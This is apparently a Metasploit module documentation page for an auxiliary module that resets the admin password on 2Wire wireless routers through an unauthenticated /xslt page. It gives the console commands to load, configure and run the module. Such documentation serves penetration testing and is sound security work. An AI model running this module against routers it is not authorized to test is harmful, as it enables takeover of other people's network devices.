2Wire Cross-Site Request Forgery Password Reset Vulnerability



This module will reset the admin password on a 2Wire wireless router. This is done by using the /xslt page where authentication is not required, thus allowing configuration changes (such as resetting the password) as administrators.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use auxiliary/admin/2wire/xslt_password_reset
msf auxiliary(xslt_password_reset) > show actions
msf auxiliary(xslt_password_reset) > set ACTION < action-name >
msf auxiliary(xslt_password_reset) > show options
    ...show and set options...
msf auxiliary(xslt_password_reset) > run 

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
